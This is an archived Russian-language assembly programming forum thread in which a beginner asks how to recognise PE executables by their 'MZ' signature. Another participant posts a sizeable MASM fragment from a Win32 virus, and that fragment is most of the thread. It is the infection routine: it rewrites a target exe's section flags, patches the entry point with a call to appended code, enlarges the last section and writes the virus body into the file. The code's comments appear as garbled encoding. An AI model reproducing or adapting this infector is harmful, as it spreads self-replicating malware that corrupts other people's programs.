· Начало · Статистика · WASM.RU · Noir.Ru ·

 WASM Phorum (Оффлайн - 24.11.2003) —› WASM.WIN32 —› ?

. 1 . 2 . >>

Посл.отвђт Сообщенiе


Дата: Дек 20, 2002 22:05:47

Как прочитать определенный кусок...
К примеру,надо узнать явл.ли файл exe,так.Байты по смещению 0h
должны быть равны 5A4Dh,так.Как мне проверить что-там по смещению 0h?
Как мне туда попасть?Чтобы в отладчике увидеть эти значения?

Прошу прощения за ламерский вопрос,но не могу понять :(


Дата: Дек 20, 2002 22:15:00

call GetModuleHandle,0
[eax]==5a4dh


Дата: Дек 21, 2002 13:45:21


Дата: Дек 23, 2002 22:18:32

1)После проверки файла на принадлежность к РЕ,я столкнулся
с такой проблемой:вроде файл и exe,но
когда я проверяю его через 00005A4Dh,то оказывается,
что не все "откликаются" на это.

Что может быть,или это нормально???

2)Если у кого что-нибудь подобное:программа
(интересуют конечно сорцы) ищет
файлы на диске(в дире),и потом создает текстовик,
и вписывает туда имена всех найденных?
Или подскажите как можно реализовать.


Дата: Дек 23, 2002 23:19:02 · Поправил: comrade

1) Проверяйте на word ptr [eax], 5A4Dh, потому что IMAGE_DOS_HEADER.e_magic (signature 'MZ') 2 байта, а не 4.
2) Эта программа ищет все файлы, или только PE?


Дата: Дек 24, 2002 00:56:49

Есть код вируса(WIN32) который: после запуска собирет в один файл все .ехе(PE), только имена разделены нулями (не текстовик). Дальше по очереди заражает то что нашел. Сам вирус собирается в три этапа... Могу кокой-нибудь кусок выложить - если нужно то какой ?


Дата: Дек 26, 2002 00:35:01

to comrade:
Эта прога ищет exe файлы.Когда она их находит,то отправляет на
проверку (см.выше,я там описал как я проверяю),и если проверка прошла удачно,то
выдает MessageBox,мол что она там нашла :).
Дело вот в чем.Некоторые почему-то MZ,а некоторые MZP.И последнии он
своим вниманием обделяет.

to anonim:
Выкладывай!Опусти просто сам процесс заражения,а все остальное кинь
если можешь,буду лчень благодарен.


Дата: Дек 26, 2002 05:11:02

Ну вот и проверяйте только MZ, 2 байта, а не 4 (dword).


Дата: Дек 26, 2002 12:31:50

Вот самый интересный (в смысле работы с PE файлами) кусок.

;########################################################### #########

Startresdi PROC ;USES EDI ESI EBX

;========= îòêðûâàåì ôàéë è ÷èòàåì åãî çàãîëîâîê =======

mov eax,atdrvm
add eax,120h
Scall CreateFileA_,eax,0C0000000h,1,0,3,80h,0
cmp eax,-1
jz Quitx
mov hFileInfct,eax
Scall GetFileSize_,hFileInfct,0
mov flSiz,eax
Scall GlobalAlloc_,0,2000h
mov pMemInfct,eax
mov esi,pMemInfct
mov edi,2000h
xor eax,eax
mov ebx,hFileInfct
Scall Readerx
;========== ïðîâåðèì ïîäõîäèò ëè ôàéë ==============
cmp word ptr [esi],5A4Dh
jnz Quitx
mov ebx,[esi+3ch]
cmp ebx,2000h
ja Quitx
cmp dword ptr [esi+ebx],00004550h
jnz Quitx
mov _3cDat,ebx
;========== ïðîâåðì íà çàðàæåííîñòü ================
;
;
;
;========== èçìåíèì çàãîëîâîê ======================
add esi,ebx ;_3cDat
ASSUME ESI:PTR IMAGE_NT_HEADERS
mov edi,esi
add edi,sizeof IMAGE_NT_HEADERS
ASSUME EDI:PTR IMAGE_SECTION_HEADER
push edi ;íà÷àëî òàëèöû çàãîëîâêîâ ñåêöèé
;------------ îïðåäèëèì â êàêîé ñåêöèè òî÷êà âõîäà ----
;------------ èçìåíèì õàðàêòåðèñòèêè âñåõ çàãîëîâêîâ íà çàïèñûâàåìîñòü è èíò. äàííûå----
movsx ebx,[esi].FileHeader.NumberOfSections
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
mov bh,1
NextSection:
or [edi].Characteristics,80000040h
xor ecx,ecx
cmp eax, [edi].VirtualAddress
jl @@1
inc cl
mov ebp,[edi].VirtualAddress
add ebp,[edi].Misc.VirtualSize
cmp eax,ebp
jg @@1
inc ch
@@1:
cmp cx,0101h
jnz @@2
mov dl,bh
@@2:
add edi,sizeof IMAGE_SECTION_HEADER
dec bl
inc bh
cmp bl,0
jnz NextSection
movzx cx,byte ptr dl ; â ýòîé ñåêöèè òî÷êà âõîäà
;====== ÷èòàåì è ñîõðàíÿåì 6 áàéò èç òî÷êè âõîäà ========
sub edi,sizeof IMAGE_SECTION_HEADER
mov eax,sizeof IMAGE_SECTION_HEADER
dec cl
mul cl
pop edi
push edi
add edi,eax
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
sub eax,[edi].VirtualAddress
add eax,[edi].PointerToRawData
mov enppnt,eax
push esi
mov ebx,hFileInfct
mov esi,entdat
mov edi,6
Scall Readerx
pop esi
pop edi
;========== êîðåêöèÿ è çàïèñü òî÷êè âõîäà è âîçâðàòà =======
; ------------- óñòàíîâêà EDI íà çàãîëîâîê ïîñëåäíåé ñåêöèè -----
mov eax,sizeof IMAGE_SECTION_HEADER
movsx ebx,[esi].FileHeader.NumberOfSections
dec bl
mul bl
add edi,eax
;--------------- êîðåêöèÿ ðåàëüíîãî ðàçìåðà ïîñëåäíåé ñåêöèè
;=================
mov ecx,[edi].PointerToRawData ;ïðîâåðêà íà óïàêîâàííûå ôàéëû è àðõèâû
add ecx,[edi].SizeOfRawData
cmp ecx,flSiz
jz okfl
cmp dword ptr [esi+0a8h],0
jz Quitx
okfl:
;====================
mov eax,flSiz
sub eax,[edi].PointerToRawData
push eax ; ðåàëüíûé ðàçìåð ïîñëåäíåé ñåêöèè
mov [edi].SizeOfRawData,eax
mov ecx, add5r
add [edi].SizeOfRawData,ecx ;(EndCod-BeginCod) ; óâåëè÷èì ðåàëüíûé ðàçìåð íà âåëè÷èíó êîäà âèðóñà
;---------------- âû÷èñëèì àäðåñ êîäà âèðóñà ---------------
add eax,[edi].VirtualAddress
mov ecx,[esi].OptionalHeader.AddressOfEntryPoint
sub eax,ecx
sub eax,5
add eax,0ch
;------------ çàïèøåì 5 áàéò â òî÷êó âõîäà (ïåðåõîä íà êîä âèðóñà)
lea edx,entdat_
mov dword ptr [edx+1],eax
mov byte ptr [edx],0e8h
mov ecx,5
mov eax,enppnt
mov ebx,hFileInfct
Scall Writerx
;=========== êîðåêöèÿ âèðòóàëüíîãî ðàçìåðà =================
pop ecx
;---------------- âû÷èñëèì íîâûé âèðòóàëüíûé ðàçìåð -------------
mov eax,[edi].SizeOfRawData ;
cmp eax,[edi].Misc.VirtualSize ;ïðîâåðèì ÷òîáû âèðóàëüíûé ðàçìåð ñåêöèè íå áûë ìåíüøå ðåàëüíîãî
jl EXESecON ;åñëè ìåíüøå òî âûðîâíÿåì èõ
mov [edi].Misc.VirtualSize,eax ;
EXESecON:
add [edi].Misc.VirtualSize,ecx
;----------- âû÷èñëèì îáùèé âèðòóàëüíûé ðàçìåð --------
mov edx,[edi].VirtualAddress
add edx,[edi].Misc.VirtualSize
mov [esi].OptionalHeader.SizeOfImage,edx
;---------------- çàïèøåì îáíîâëåííûé çàãîëîâîê -------------------
mov eax,0
mov ebx,hFileInfct
mov ecx,1000h
mov edx,esi
sub edx,_3cDat
Scall Writerx
;============ çàïèñü äàííûõ ============
mov eax,flSiz
mov ebx,hFileInfct
mov ecx,add5r ;(EndCod-BeginCod)
mov edx,BeginCod ;ñìåùåíèå
Scall Writerx
;============ âûõîä ===========
Quitx:
ASSUME EDI:nothing
Scall CloseHandle_,hFileInfct
Scall GlobalFree_,pMemInfct
ret
;============= äàííûå äëÿ çòîé ïðîöåäóðû ==================
pMemInfct dd 0
_3cDat dd 0
hFileInfct dd 0
flSiz dd 0
esphh dd 0
enppnt dd 0
add5r dd 0
BeginCod dd 0
entdat_ db 6 dup (0)
entdat dd 0

Startresdi endp

;##########################################

Readerx=$
Scall SetFilePointer_,ebx,eax,0,0
Scall ReadFile_,ebx,esi,edi,esp,0
ret

;########################################

Writerx=$
push ecx
push edx
Scall SetFilePointer_,ebx,eax,0,0
pop edx
pop ecx
Scall WriteFile_,ebx,edx,ecx,esp,0
ret

;########################################


Дата: Дек 28, 2002 22:43:02

Киньте плиз для примера такой вот несложный кусочек кода (для tasm'a):

1)У нас уже к примеру есть файл
2)Открываем
3)Читаем данные о "машине",word 04h,и переносим результат в eax,
чтобы можно было посмотреть в Сайсе (fe:mov eax,buffer)
4)И если несложно еще что нибудь,только по дальше :-)

Я просто не могу понять,как мне надо читать данные в разных участках
файла :(
Буду очень признателен если поможете!

P.S.Все забываю написать:Спасибо __comrade and Аноним___ за помошь!


Дата: Дек 31, 2002 10:33:12


Дата: Янв 2, 2003 22:57:44

А что-нибудь попроще :)
Я еще совсем новичок!


Дата: Янв 2, 2003 23:12:33

Что имёно? Разьве это не то, что вы просили?


Дата: Янв 2, 2003 23:54:03

Именно то!Спасибо большое!
Но просто там так сложно что-то :(
Нельзя ли код полегче...поменьше...попонятнее
Там же много-то и не надо,как я думаю.


Дата: Янв 3, 2003 03:44:29

Я комментарии написал, но если этого не достатачно то прошу показать что именно не понятно, и я объясню.

. 1 . 2 . >>


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.082